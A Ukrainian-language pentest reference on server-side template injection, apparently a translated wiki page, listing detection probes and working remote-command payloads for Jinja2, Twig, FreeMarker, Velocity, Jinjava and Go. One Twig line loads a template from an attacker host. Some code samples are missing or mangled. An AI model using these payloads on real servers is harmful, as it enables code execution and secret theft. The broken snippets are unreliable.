RootedCON є найважливішою подією в сфері кібербезпеки в Іспанії та однією з найважливіших в Європі. З метою популяризації технічних знань, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
What is SSTI (Server-Side Template Injection)
Server-side template injection — це вразливість, яка виникає, коли зловмисник може впровадити шкідливий код у шаблон, що виконується на сервері. Цю вразливість можна знайти в різних технологіях, включаючи Jinja.
Jinja — це популярний движок шаблонів, що використовується в веб-додатках. Розглянемо приклад, який демонструє вразливий фрагмент коду, що використовує Jinja:
В цьому вразливому коді параметр name з запиту користувача безпосередньо передається в шаблон за допомогою функції render. Це може потенційно дозволити зловмиснику впровадити шкідливий код у параметр name, що призведе до ін'єкції шаблона на стороні сервера.
Наприклад, зловмисник може створити запит з корисним навантаженням, як це:
Пейлоад {{bad-stuff-here}} впроваджується в параметр name. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером.
Щоб запобігти вразливостям ін'єкції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарію та валідацію введених користувачем даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
Виявлення
Щоб виявити ін'єкцію шаблонів на стороні сервера (SSTI), спочатку фуззинг шаблону є простим підходом. Це передбачає впровадження послідовності спеціальних символів (${{<%[%'"}}%\) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають:
Викинуті помилки, що виявляють вразливість і потенційно движок шаблонів.
Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані.
Текстовий контекст: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, {{7*7}}, ${7*7}).
Контекст коду: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна greeting в http://vulnerable-website.com/?greeting=data.username, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у greeting=data.username}}hello, що повертає ім'я користувача.
Фаза ідентифікації
Ідентифікація движка шаблонів передбачає аналіз повідомлень про помилки або ручне тестування різних специфічних для мови пейлоадів. Загальні пейлоади, що викликають помилки, включають ${7/0}, {{7/0}} та <%= 7/0 %>. Спостереження за відповіддю сервера на математичні операції допомагає визначити конкретний движок шаблонів.
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
У Thymeleaf загальним тестом на вразливості SSTI є вираз ${7*7}, який також застосовується до цього шаблонного движка. Для потенційного віддаленого виконання коду можуть бути використані такі вирази:
Thymeleaf вимагає, щоб ці вирази були розміщені в конкретних атрибутах. Однак вбудовування виразів підтримується для інших місць шаблонів, використовуючи синтаксис на кшталт [[...]] або [(...)]. Таким чином, простий тестовий вантаж SSTI може виглядати як [[${7*7}]].
Однак ймовірність того, що цей вантаж спрацює, зазвичай низька. За замовчуванням конфігурація Thymeleaf не підтримує динамічну генерацію шаблонів; шаблони повинні бути попередньо визначені. Розробникам потрібно реалізувати свій власний TemplateResolver, щоб створювати шаблони з рядків на льоту, що є рідкісним.
Thymeleaf також пропонує попередню обробку виразів, де вирази в подвійному підкресленні (__...__) попередньо обробляються. Цю функцію можна використовувати при побудові виразів, як показано в документації Thymeleaf:
#{selection.__${sel.code}__}
Приклад вразливості в Thymeleaf
Розгляньте наступний фрагмент коду, який може бути вразливим до експлуатації:
Це вказує на те, що якщо движок шаблонів неправильно обробляє ці введення, це може призвести до віддаленого виконання коду з доступом до URL-адрес, таких як:
{{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдіть проект Jinjava на Github.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані боби) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
JavaServer Faces (JSF): Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері.
JavaServer Pages (JSP): EL використовується в JSP для доступу та маніпуляції даними на сторінках JSP, що полегшує зв'язок елементів сторінки з даними програми.
Контексти та впровадження залежностей для Java EE (CDI): EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бобами, що забезпечує більш узгоджену структуру програми.
Перегляньте наступну сторінку, щоб дізнатися більше про експлуатацію EL інтерпретаторів:
RootedCON є найактуальнішою подією в сфері кібербезпеки в Іспанії та однією з найважливіших в Європі. З метою популяризації технічних знань, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates - це движок шаблонів, рідний для PHP, який черпає натхнення з Twig. Однак, на відміну від Twig, який вводить новий синтаксис, Plates використовує рідний PHP код у шаблонах, що робить його інтуїтивно зрозумілим для розробників PHP.
Контролер:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);
<html><head><title>{PAGE_TITLE}</title></head><body><table><caption>Authors</caption><thead><tr><th>Name</th><th>Email</th></tr></thead><tfoot><tr><tdcolspan="2">{NUM_AUTHORS}</td></tr></tfoot><tbody><!-- BEGIN authorline --><tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr><!-- END authorline --></tbody></table></body></html>
authors.php
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) {$t->setVar('AUTHOR_NAME', $name);$t->setVar('AUTHOR_EMAIL', $email);$t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
patTemplate - це PHP шаблонізатор, що не компілюється, який використовує XML теги для поділу документа на різні частини
<patTemplate:tmplname="page">This is the main page.<patTemplate:tmplname="foo">It contains another template.</patTemplate:tmpl><patTemplate:tmplname="hello">Hello {NAME}.<br/></patTemplate:tmpl></patTemplate:tmpl>
Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується та ліцензований за BSD.
{{7*7}} = Помилка
${7*7} = ${7*7}
{{foobar}} Нічого
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% debug %}{{settings.SECRET_KEY}}{{4*4}}[[5*5]]{{7*'7'}} would result in7777777
Jinja2 - Формат шаблону
{% extends "layout.html"%}{% block body %}<ul>{%for user in users %}<li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>{% endblock %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
Метод .NET System.Diagnostics.Process.Start може бути використаний для запуску будь-якого процесу на сервері і, таким чином, створення веб-оболонки. Ви можете знайти приклад вразливого веб-додатку за адресою https://github.com/cnotin/RazorVulnerableApp
Навіть якщо це Perl, він використовує теги, як ERB у Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI в GO
У шаблонному движку Go підтвердження його використання можна здійснити за допомогою специфічних пейлоадів:
{{ . }}: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом Password, {{ .Password }} може його розкрити.
{{printf "%s" "ssti" }}: Очікується, що відобразить рядок "ssti".
{{html "ssti"}}, {{js "ssti"}}: Ці пейлоади повинні повернути "ssti" без додавання "html" або "js". Додаткові директиви можна дослідити в документації Go тут.
Експлуатація XSS
З пакетом text/template XSS може бути простим шляхом безпосереднього вставлення пейлоаду. На відміну від цього, пакет html/template кодує відповідь, щоб запобігти цьому (наприклад, {{"<script>alert(1)</script>"}} призводить до <script>alert(1)</script>). Проте визначення та виклик шаблону в Go можуть обійти це кодування: {{define "T1"}}alert(1){{end}} {{template "T1"}}
Експлуатація RCE
Експлуатація RCE суттєво відрізняється між html/template та text/template. Модуль text/template дозволяє викликати будь-яку публічну функцію безпосередньо (використовуючи значення “call”), що не дозволено в html/template. Документація для цих модулів доступна тут для html/template та тут для text/template.
Для RCE через SSTI в Go можна викликати методи об'єкта. Наприклад, якщо наданий об'єкт має метод System, що виконує команди, його можна експлуатувати як {{ .System "ls" }}. Зазвичай доступ до вихідного коду є необхідним для експлуатації цього, як у наведеному прикладі:
RootedCON є найважливішою подією в сфері кібербезпеки в Іспанії та однією з найважливіших в Європі. З метою просування технічних знань, цей конгрес є гарячою точкою зустрічі для професіоналів у сфері технологій та кібербезпеки в усіх дисциплінах.